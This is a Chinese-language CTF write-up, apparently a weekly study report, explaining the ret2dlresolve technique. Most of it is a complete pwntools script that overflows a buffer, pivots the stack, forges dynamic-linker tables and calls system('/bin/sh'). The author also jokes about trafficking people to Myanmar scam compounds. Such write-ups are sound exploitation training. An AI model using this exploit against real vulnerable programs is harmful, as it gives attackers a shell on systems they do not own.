6:ret2dl

我们都知道,对于一个已经被调用过的函数,它的真实地址会被存放在got表中.也就是说,~~对于一个没有被调用过的函数,它的真实地址就不会被存放在got表中~~必然存在一个机制,可以找到函数的地址,将它们存入got表.这个机制就是`_dl_runtime_resolve`.而我们利用它的方法,就是设法让它去解析我们需要的函数.

整个的过程比较复杂,从某种程度上来说有点类似把人骗去缅北,首先给你发假的招募信息,然后把你接到假的公司,再把你送上假的大巴,最后半路一棍子把你敲晕.(你也可以用类似的过程处理你的室友)

当然,完成这类题目并不需要给出题人发生假的招募信息.我们只需要给程序发假的地址让它执行dl_runtime_resolve函数,然后给他发送假的plt表,用假的plt表把程序骗到假的符号表,最后根据假的符号表指向的假的字符表去解析~~假~~真的system()函数.(如果不成功,你可以再去考虑上面的方案)

那么让我们看看解题脚本:

```
from pwn import *
context.log_level = 'debug' #输出调试信息
#context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
name = './pwn1' #程序名
p = process(name)
#p=remote('chall.pwnable.tw', 10103)
elf= ELF(name)
#libc = ELF('./libc_32.so.6')
if args.G:  #我们可以在启动脚本时附加G参数来进入gdb调试 例如 python 00.py G 当然,它可以是任何你喜欢的名字.
    gdb.attach(p)

#获取各个表的地址
rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr   #0x8048330
dynsym_addr =  elf.get_section_by_name('.dynsym').header.sh_addr    #0x80481d8
dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr     #0x8048278

#resolve 函数地址
resolve_plt = 0x08048380
#learet地址
leave_ret_addr = 0x0804851d
#我也不知道这是干啥的,反正应该是个可写的地址
start = 0x804aa00

fake_rel_plt_addr = start #我们未来会把假的plt表放到这里
fake_dynsym_addr = fake_rel_plt_addr + 0x8 #因为fake_plt长度为0x8,所以假的符号表就在它后面0x8的位置.(如果这个程序为64位,这个长度大概就会变成0x10)
fake_dynstr_addr = fake_dynsym_addr + 0x10 #同理
bin_sh_addr = fake_dynstr_addr + 0x7 #/bin/sh在字符串内的相对偏移

n = fake_rel_plt_addr - rel_plt_addr #有点类似数组越界,比如我们有一个b[10],但我们让它去访问*(b+114514)

r_info = (int((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7 #寻址索引
str_offset = fake_dynstr_addr - dynstr_addr #字符表的偏移


fake_rel_plt = p32(elf.got['read']) + p32(r_info) #got表指针和寻址索引,前者指向read,覆写read的got表指向system,后者指向假的符号表
```

```
fake_dynsym = p32(str_offset) + p32(0) + p32(0) + p32(0x12000000)
#符号的名字符串指针 符号地址 符号大小 符号绑定/类型/可见性/段索引
#其中指针指向我们的假字符表,地址不需要管,因为我们还没绑定上(等下就被覆写了)
#大小应该不需要管(心虚)
#最后的可见性和段索引也不需要管(表示默认可见性和段索引未指定)绑定设为全局(0x1),类型设为函数
(0x2)
fake_dynstr = b"system\x00/bin/sh\x00\x00" #符号名(system)和它的参数


pay1 = b'a'*108 + p32(start - 20) + p32(elf.plt['read']) + p32(leave_ret_addr) +
p32(0) + p32(start - 20) + p32(0x100) #栈迁移,写到start-0x14的位置(pay2中那一堆表前面
的字符的长度为0x14)
p.recvuntil('Welcome to RET_TO_DL~!\n')
#p.recvuntil("Nice to meet you~!\n")
p.sendline(pay1)
sleep(1) #八点了,啊,该摸了(我刚学python的时候曾经干过Sleep(1000)然后查半天程序为啥卡住的事)
pay2 = p32(0x0) + p32(resolve_plt) + p32(n) + b'aaaa' + p32(bin_sh_addr) +
fake_rel_plt + fake_dynsym + fake_dynstr #执行resolve_plt(n),并传入伪造的三个表
p.sendline(pay2) #发生payload2,收工
#这堆东西是输出这些值给我们看的
success(".rel_plt: " + hex(rel_plt_addr))
success(".dynsym: " + hex(dynsym_addr))
success(".dynstr: " + hex(dynstr_addr))
success("fake_rel_plt_addr: " + hex(fake_rel_plt_addr))
success("fake_dynsym_addr: " + hex(fake_dynsym_addr))
success("fake_dynstr_addr: " + hex(fake_dynstr_addr))
success("n: " + hex(n))
success("r_info: " + hex(r_info))
success("offset: " + hex(str_offset))
success("system_addr: " + hex(fake_dynstr_addr))
success("bss_addr: " + hex(elf.bss()))
p.interactive()
```

那么本次周报就到这里.